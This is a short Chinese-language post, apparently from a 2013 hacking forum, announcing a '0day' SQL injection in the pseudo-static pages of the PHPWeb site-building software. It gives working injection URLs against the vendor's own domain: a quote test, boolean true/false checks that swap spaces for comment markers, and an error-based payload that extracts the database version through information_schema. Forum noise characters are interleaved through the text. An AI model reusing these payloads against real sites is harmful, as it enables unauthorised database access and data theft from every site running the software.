phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：

" C2 H' m+ }" ~$ D) |http://www.phpweb.net/down/html/?772′.html
' i' K2 s/ L# Y- G
出错
5 b' V# ]" r; f( m+ \存在注入。
/ e% {3 }4 c1 `  @, q9 d不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
8 \1 u- _( f% W8 N
) [2 \/ \8 B" M7 L3 Q5 F( ?http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
" T0 H: p& K+ ?  D9 H( n6 b6 \5 l爆数据库版本：
. b! y4 u# x: \
?
1
  F$ H: A+ x( S# ~8 S: mhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
5 m# M* U: z& T" s2 ~更新日期: 2013-01-03 13:39:50